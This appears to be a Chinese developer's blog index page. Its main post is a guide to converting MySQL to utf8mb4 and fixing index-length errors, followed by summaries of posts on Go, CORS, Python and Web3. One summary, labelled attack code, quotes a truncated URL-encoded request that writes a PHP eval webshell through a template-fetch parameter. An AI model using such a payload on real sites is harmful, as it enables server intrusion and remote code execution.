摘要: 最近发现golang社区里出了一个新星的微服务框架,来自好未来,光看这个名字,就很有奔头,之前,也只是玩过go-micro,其实真正的还没有在项目中运用过,只是觉得 微服务,grpc 这些很高大尚,还没有在项目中,真正的玩过,我看了一下官方提供的工具真的很好用,只需要定义好,舒适文件jia结构 都生 阅读全文
posted @ 2020-12-17 11:07 jackluo 阅读(11176) 评论(2) 推荐(5) 编辑

 mysql 的联接方案也要改成 utf8mb4

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
For each database:
 
ALTER DATABASE
    database_name
    CHARACTER SET = utf8mb4
    COLLATE = utf8mb4_unicode_ci;
For each table:
 
ALTER TABLE
    table_name
    CONVERT TO CHARACTER SET utf8mb4
    COLLATE utf8mb4_unicode_ci;
For each column:
 
ALTER TABLE
    table_name
    CHANGE column_name column_name
    data_type
    CHARACTER SET utf8mb4
    COLLATE utf8mb4_unicode_ci;
utf8是utf8mb4的子集,所以直接转换理论上不会有问题。当然也可以使用dump转换编码。
批量生成脚本:
 
use information_schema;
SELECT concat("ALTER DATABASE `",table_schema,"` CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci;") as _sql
FROM `TABLES` where table_schema like "yourDbName" group by table_schema;
 
SELECT concat("ALTER TABLE `",table_schema,"`.`",table_name,"` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;") as _sql 
FROM `TABLES` where table_schema like "yourDbName" group by table_schema, table_name;
 
SELECT concat("ALTER TABLE `",table_schema,"`.`",table_name, "` CHANGE `",column_name,"` `",column_name,"` ",data_type,"(",character_maximum_length,") CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;") as _sql
FROM `COLUMNS` where table_schema like "yourDbName" and data_type in ('varchar');
 
SELECT concat("ALTER TABLE `",table_schema,"`.`",table_name, "` CHANGE `",column_name,"` `",column_name,"` ",data_type," CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;") as _sql
FROM `COLUMNS` where table_schema like "yourDbName" and data_type in ('text','tinytext','mediumtext','longtext');
ERROR 1071 (42000) 问题解决
出现这种报错主要有两种情况:
 
ERROR 1071 (42000): Specified key was too long; max key length is 3072 bytes
ERROR 1071 (42000): Specified key was too long; max key length is 1000 bytes
一个是length 大于3072 bytes,一个是大于1000 bytes。
 
mysql5.7中支持index key最大的长度是 767 bytes,在开启了innodb_large_prefix这个参数之后,max len 限制是3072 bytes。在5.7之前这个参数没有默认开启,5.7之后默认是开启的。8.0之后去掉了这个参数,默认就支持3072个字节。
 
所以在转换字符集过程中,如果一个列上有索引,由于之前的utf8的编码是3个bytes,utf8mb4是4个bytes。转换之后key的值可能会超过767或则3072,这个时候就是出现类似的报错。如果是MyISAM的引擎,是直接不能超过1000 bytes这个限制的。
 
这个时候的解决办法是如果是MyISAM的引擎,改成innodb引擎。
 
如果改成innodb还不行,只能缩小字段的大小。
 
常用命令
set names utf8mb4;
相当于设置
 
character_set_client
character_set_connection
character_set_results
三个值为utf8mb4.
总结
不得不说,mysql这个3个byte的utf8是个巨坑,没有按照国际的标准来设计,不过之后肯定会改成utf8mb4为默认字符集。

  

 

 

 

 

 

 

参考了:https://developer.aliyun.com/article/674741

https://blog.csdn.net/galoiszhou/article/details/118359174

posted @ 2023-04-26 15:23 jackluo 阅读(755) 评论(0) 推荐(0) 编辑
摘要: python 版本设置在 3.8 ImportError: cannot import name 'warnings' from 'matplotlib.dates'报上面的错 降级 matplotlib pip uninstall matplotlib pip install matplotlib 阅读全文
posted @ 2023-02-01 16:04 jackluo 阅读(1608) 评论(0) 推荐(0) 编辑
摘要: 原文地址: https://www.preethikasireddy.com/post/the-architecture-of-a-web-3-0-application Web 2.0 Web 3.0 前端代码如何与以太坊上的智能合约进行通信 提交: 区块链上的存储 查询区块链 缩放DApp 阅读全文
posted @ 2023-01-06 17:43 jackluo 阅读(35) 评论(0) 推荐(0) 编辑
摘要: https://github.com/scaffold-eth/scaffold-eth/issues/476 In Metamask, ensure you are on your dev/test account then: click on the avatar circle top righ 阅读全文
posted @ 2023-01-05 11:06 jackluo 阅读(175) 评论(0) 推荐(0) 编辑
摘要: 遇到个很奇怪的问题,不知道是浏览器的问题,还是我的问题 有点意思的是,我用本地的127.0.0.1:8080,请求 localhost 端口的接口就不跨域,但是 我用127.0.0.1:8080,就报跨域,后面经过几次测试用 localhost 直接请求域名,居然得行了。没有搞懂 //跨域一定要设置 阅读全文
posted @ 2022-11-23 17:55 jackluo 阅读(32) 评论(0) 推荐(0) 编辑
摘要: 攻击的代码 http://localhost/ index.php?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%2782.php%27,%27%3C?php%20@eval($ 阅读全文
posted @ 2022-09-02 17:58 jackluo 阅读(2092) 评论(0) 推荐(0) 编辑
摘要: 场景说明:在前后端分离的开发中,前端是单独部署的,可能是一个www.aaa.com的域名,而用go-zero的后端程序,可能部署在了www.bbb.com,这种方式在处理用户登陆的时候,基本上用的是jwt,用到jwt 基本上就要用到自定义header 的问题,比如header 里面可能会传Autho 阅读全文
posted @ 2021-01-28 14:47 jackluo 阅读(3335) 评论(0) 推荐(0) 编辑
摘要: 最近发现golang社区里出了一个新星的微服务框架,来自好未来,光看这个名字,就很有奔头,之前,也只是玩过go-micro,其实真正的还没有在项目中运用过,只是觉得 微服务,grpc 这些很高大尚,还没有在项目中,真正的玩过,我看了一下官方提供的工具真的很好用,只需要定义好,舒适文件jia结构 都生 阅读全文
posted @ 2020-12-09 12:02 jackluo 阅读(2058) 评论(0) 推荐(0) 编辑
摘要: 最近用传统的方式 生成的证书上用golang 1.15. 版本 报 grpc 上面 ➜ ~ go version go version go1.15.3 darwin/amd64 上面调用的时候报错了 rpc error: code = Unavailable desc = connection e 阅读全文
posted @ 2020-10-19 17:07 jackluo 阅读(16409) 评论(4) 推荐(1) 编辑
点击右上角即可分享
微信分享提示